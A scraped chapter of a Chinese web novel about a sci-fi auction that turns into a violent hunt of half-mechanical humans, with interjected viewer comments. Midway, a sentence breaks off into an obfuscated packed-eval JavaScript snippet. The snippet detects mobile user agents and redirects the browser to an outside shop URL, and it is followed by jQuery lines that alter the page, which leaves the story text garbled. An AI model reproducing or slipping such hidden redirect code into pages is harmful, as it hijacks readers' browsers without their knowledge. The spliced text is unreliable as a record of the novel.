24. 心跳百分百(二十四)
作品:《前男友是无限流boss》 “想永远留在记忆里……”
“呕!”陈野毫无预兆地发出怪声。
赵杰的脸色一下子冷了下来。
这小子刚刚趁他不注意,在酒会上四处溜达。
像是没见过好东西一样,陈野看到那些昂贵的香槟后,一个劲狂喝,生怕没喝够本。
附近的几个名流见状皱起眉,一脸鄙夷。
赵杰无语的同时,又非常恼火,阮思敏的表情也变得难看。
赵杰正要走上前,陈野却直直朝他撞了过来,一副要吐在他身上的架势。
他立刻推开陈野,转头命令道,“江敛,快把这小子拉去厕所!快!”
江敛先是无措地看了他一眼,半晌后连连点头,“好、好的!”
陈野:“我不!我还要喝!!呕!!!”
赵杰不耐烦地催促道:“动作快点!”
江敛忙不迭拉过陈野,半拖半拽地把他带去稍远处的卫生间。
颜乐立刻出来缓和气氛。
阮思敏看了她秀美的脸一眼,这才缓和了表情。
舒妍也打了个圆场,随后道:“拍卖会快开始了,我们进去聊吧!”
阮思敏没有异议。
会场十分广阔,下方是供普通贵客使用的大厅,上方则是为身份更高的客人准备的包厢。
阮思敏推开包厢的门,拉着舒妍的手,两人亲密地在沙发上坐下。
没有了陈野的干扰后,赵杰继续操作他的摄像机,而文雪她们则坐在角落的暗处。
“阿妍,要喝点什么吗?”
“不啦,我们继续。”
阮思敏道:“我第一次见她,是在医院。那时候她出了很严重的车祸,意志消沉。”
舒妍挑眉道:“哦?”
“那时候医疗技术已经很发达了,人受到严重损伤后,部分躯体和体内器官可以用科技材料替代。”
“但是先进的技术能治好身体,却治不好心灵,她觉得自己变成了一个半人类半机械的怪物,整日十分痛苦。”
“她的父母早已过世,身边无人相伴,我就是那时候出现的……”
阮思敏紧紧地讲述着往事,听起来似乎是个救赎向的爱情故事。
“可惜她不知道,自己真的很美啊,那是人类所没有的美!”最后,他以此结尾。
【纯爱故事?】
【我赌五毛,反转要来了。】
【这npc怪怪的,很违和的感觉。】
舒妍拨弄了自己的彩色指甲一下,漫不经心道:“真巧啊,我也出过很严重的车祸呢!”
“那时候我父母已经过世,给我留下了一大笔钱,但我身边无人陪伴。”
“我虽然活了下来,但身上有一半的血肉被机械取代,我开始怀疑自己还算不算一个人类,整天十分痛苦,几乎丧失了活下去的意愿。”
“然后,我遇见了一个天使般的男孩。”
“他不但长得好看,人也很善良。他会为我读书,推我出去晒太阳。”
“在我整夜整夜疼得睡不着的时候,他会陪我说话,分散我的注意力。”
思及往事,舒妍的嘴角露出一丝甜蜜的笑意。
“我想,他一定是爱我的!”
“而他也的确是爱我的,”她嘴角的笑容一下子变得扭曲,“可惜我很晚才明白,他爱的并不是我本人,而是我的残缺!”
话音刚落,阮思敏脸上的笑再也挂不住了。
包厢里一片安静,只有远处拍卖师优雅的声音传来。
“五十万星海币!五十万星海币一次!”
【阮思敏的气质变了!】
【对,之前那么阳光,现在有点阴郁了。】
阮思敏往后一靠,双腿交叠,“继续说。”
舒妍的眼神落在了自己的手臂上,目光中有扭曲的爱意。
“他爱我由机械组装的胳膊,腿,以及体内部分器官,爱这些血肉与机械的组合。”
“我不再是一个单纯的人类,有时候我甚至不知道自己是什么,为此十分绝望。可他痴迷的,却正是这样的我,那种感觉你懂吗?”
“后来我想,算了,就这样吧,总比没人在乎我要好。”
舒妍:“那时候我不知道,这层畸形的爱下面,还有更畸形的理由。”
阮思敏:“哦?是什么理由呢?”
舒妍沉默了。
远处的拍卖会正如火如荼地进行,一份已逝科学家的手稿被拍卖出高价。
“五百万星海币一次!五百万星海币两次!”
舒妍忽地抬头看了阮思敏一眼,身体微微前倾。
不知道怎么回事,阮思敏忽然觉得有点冷。
奇怪,恒温装置失效了?而且光线好像暗了不少。
这时候,舒妍继续开口。
“阿敏,你知道我一直在困惑什么吗?”
“我到底是什么?人类?半仿生人?”
“我的大脑真的还完整吗?也许我早就在车祸里死了,现在活着的不知道是什么东西……”
她情绪有些激动,说这些话时语气激烈。
说完后,她微微喘了口气。
无人应答。
“一直到现在,因为星海市在相关领域并没有完善的法律,人类和仿生人的界限是模糊的。”
“很多时候,仿生人的生命,得不到保障……”
她直直地看着阮思敏,“你说是吗?阿敏。”
那一瞬间,阮思敏的眼神骤变。
*
阮思甜和陆秋白肩并着肩,坐在小包厢的沙发上。
起初是些普通的拍品,像是上个世纪的珠宝,大师的传世名画等。
陆秋白像个尽职尽责的男朋友那样,毫不吝啬地给女朋友拍下了几套华贵的首饰。
“喜欢吗?”他问。
阮思甜点头,却并不怎么开心。
不知道怎么回事,她觉得有点闷,还有点恶心。
他抚了抚她的背,体贴地建议道:“出去透透气?”
她点了点头。
两人乘坐专用的电梯直达顶层,那里有一个私人小花园。
这里是以高科技材料设计而成的希腊复古风格,四围立着一根根白色立柱,绕成一环。
他们的脚下是一座宽阔的睡莲池,一条弯曲的小道在池中蔓延,通向最中间的大树。
树上挂着一盏盏白色的小灯,像是一颗颗光芒莹润的明珠,伸展出的粗壮枝丫上则悬着一架秋千。
阮思甜看了一眼,走到了花园边沿的石柱边。
石柱间有透明玻璃制成的围栏,既美观又安全,夜风拂面而来,带来微微的凉意。
陆秋白脱下外套,披在了她的肩上。
随后,他从身后抱住她。
他似乎格外偏爱这样的姿势。
“这是我习惯的生活,很多年我都是这样过来的。但今天,也不知道怎么回事,我就是有点烦。”
“嗯。”
他的态度一如既往的冷淡,阮思甜不以为意。
谁知半晌后,他忽然道:“来,我们去那边。”
搞这么神秘?
陆秋白牵起她的手,他在前,她在后。
两人沿着那条曲折的小路走向了大树。
走到以后,他将她按在了秋千上,缓缓用手蒙上了她的眼睛。
“闭眼。”
阮思甜乖乖照做。
“好了。”
再睁眼时,灯火已消失,地面也已改变。
在他们的脚下,一株株睡莲盛放在微漾的星空中,而抬头,同样是万里星河绵延。
恍若置身浩瀚天河间,世间只剩他们两人。
阮思甜惊讶地捂住了嘴。
虽明知只是视觉效果上的改变,但一颗心还是忍不住怦然跳动。
陆秋白在她身边坐下,半是温柔半是强硬地将她搂入怀中。
接着,他拿出了一枚戒指。
极简风的金属圆环外有一颗小小的钻石,外侧还镌刻了两人姓名的斜体字母缩写,寓意一生一世。
陆秋白:“嫁给我。”
阮思甜深呼吸一口气,神情有些恍惚。
“小甜。”男朋友似乎叫了她一声。
“小甜……”记忆里同样有个人在叫她的名字。
画面开始变得模糊,她看到一个少女拿出一枚草编的戒指,不容拒绝地套到了少年白皙的手指上。
随即,面容姣好的少年羞涩地低下头,少女霸道地说:“不许摘,套上了就是我的人,听见没?!”
也就是在这一瞬间,陆秋白拉起她的手,不容拒绝地为她戴上了戒指。
冷硬而冰凉。
少年眼角的小痣似血又似泪,渐渐地,眼前的脸与记忆里那张脸渐渐重叠。
前者像是她头顶冷漠深邃的星空,而后者像是在星空下盛放的温柔睡莲,梦幻而缥缈。
彷佛用手在水中随意一划,就会碎得无影无踪。
阮思甜的眼里流下泪水。
陆秋白用手指拭去她的眼泪,不解地问道:“为什么哭了?”
她笑了笑,“被感动到了。”
不,不是的!陆秋白分明品味出了一丝悲伤。
源自灵魂深处。
不过,那无关紧要!
毕竟他已经完成了他的仪式。
是的,仪式。
人类在做某件重要的事前,通常会进行特定的仪式。
而他的进食同样重要,那么,不妨效仿人类。
为了更好地“吃”掉女朋友,他也需要一个隆重的仪式,也就是人类所说的婚礼。
所以,那一晚,陆秋白停了下来。
等待的每一分每一秒,都是为了使她的滋味更加美妙,回味绵长。
陆秋白并不在意她此刻的情绪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054552|193275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直接道:“想不想知道,今晚拍卖会的压轴品是什么?”
阮思甜并不好奇,不过还是配合地问道:“是什么?”
脑海中的画面一闪即逝,到底还是影响到了心情。
她不明白,自己到底是怎么了?
明明心爱的人就在身侧,还向她求婚,她的情绪却依然低落?
陆秋白笑了笑,又掏出一条项链,上面的吊坠是一颗黑漆漆的石头,据说取材于一颗星星上的矿石。
经由特殊处理后,对人体无害。
“是很多年前发现的一颗星星,编号为RLS-004379,不过星海科技并未对外公开,而是做了封禁处理。”
“现在,”陆秋白的眼神平静而深邃,彷佛在说一件无关紧要的事,“我将它的命名权和所有权赠与你。”
那一瞬间,阮思甜的大脑一片空白。
*
“五千万!五千万成交!!!”
拍卖师的小锤毫不犹豫地敲下,那一声彷佛敲在了阮思敏的心头,让他的心重重一跳。
心中若有似无的不祥预感,在那一刻达到顶端。
舒妍微笑道:“阿敏,想不想知道压轴品是什么?”
阮思敏艰难地笑了下,“是什么?”
难道的今晚的一切,都是舒妍做的局?
她想干什么?恐吓?为了钱,还是别的?
不过很快,他又放松下来,在心中嗤笑一声。
怎么可能?舒妍再怎么大手笔,也不可能在星海科技的地盘上搞出那么大动静!
于是他又冷静了下来,“是什么呢?阿妍。”
有什么好担心的!
他的背后不仅仅是他,更有他的家族,还有一大群非同一般的朋友呢!
舒妍不答,台上的幕布缓缓升起,一只只垂挂而下的巨大铁笼相继出现在众人眼前。
全场寂静。
铁笼里装着的,是一个个……
阮思敏的脸上失去了所有表情。
那些人,那些人……
全都是他的朋友!!!
明明有着人类的躯体,浑身上下却被改造过。
齿轮与发条以及其它精密的金属器官在体内运转,他们一个个哀嚎着,成了半人半机械的怪物。
阮思敏赫然起身,满脸不敢置信。
围观的人群爆发出激烈的喊声。
“猎物!”
“猎物!”
“猎物!”
笼门打开,那一个个半机械的“人”被放了出来。
他们浑身上下未着片缕,神情惶恐而绝望。
“狩猎——”台上的主持人拉长了声调,“开始!!!”
台下的客人全都陷入了狂热中,他们脱去类人的伪装,纷纷展现出半人半机械的真面目,会场的气氛一时间达到了高潮。
【吓!不纯爱故事么?怎么忽然成这样了?】
【这,这也太……】
阮思敏头皮发麻,艰难地转头,看向舒妍。
舒妍嘴角露出一个渗人的笑,“阿敏,你怎么会没认出我呢?”
“当年你把一个个像我那样的人带到那栋废弃的大楼里,供你们那样的人取乐。”
“你猜我们死前的心情,是不是和你现在一样……”
*
摄像机无声地记录着眼前的一切,就像多年前那栋废弃的猎场里一样。
而它的主人赵杰,已经倒在了血泊中。
他心口的位置被一只机械手贯穿,他本人却因身体素质强悍,而并未立刻死去。
他在尝试着朝文雪伸手。
文雪脸色一沉,尽管有所准备,事态的发展还是超出了她的预料。
怎么会失控到这种地步?而且招灾符明明在那小子身上。
她迅速反应过来发生了什么,走到窗边往外一瞥。
作为老玩家,她的身体被强化过多次,视力远超常人。
果然,她看到了陈野带着江敛在楼下夺命狂奔。
饶是她一贯冷静,这下也被气笑了。
【吓,文雪还真有问题?】
【那黄毛可真是个小机灵鬼,居然把符换给赵杰了!江敛那傻小子跟着他,算是捡回了一条命。】
赵杰的躯体和那些半机械人一样,很快被撕扯成了碎片。
他临死前的惨叫声响彻四周,又很快被更痛苦和更狂热的叫声淹没。
“啊啊啊啊啊——”
颜乐和文雪在混乱中失散了,此刻,这个姑娘处于落单的状态。
饶是她的心理素质不错,这下也被吓得腿脚发软。
而这时,一只手臂染血的类人怪物发现了她。
对方嘴里还在啃咬着什么,鲜血淋漓。
颜乐大脑一片空白。
对方停止了进食。
接着,那“人”对她笑了笑,嘴角直直地咧开到耳根。

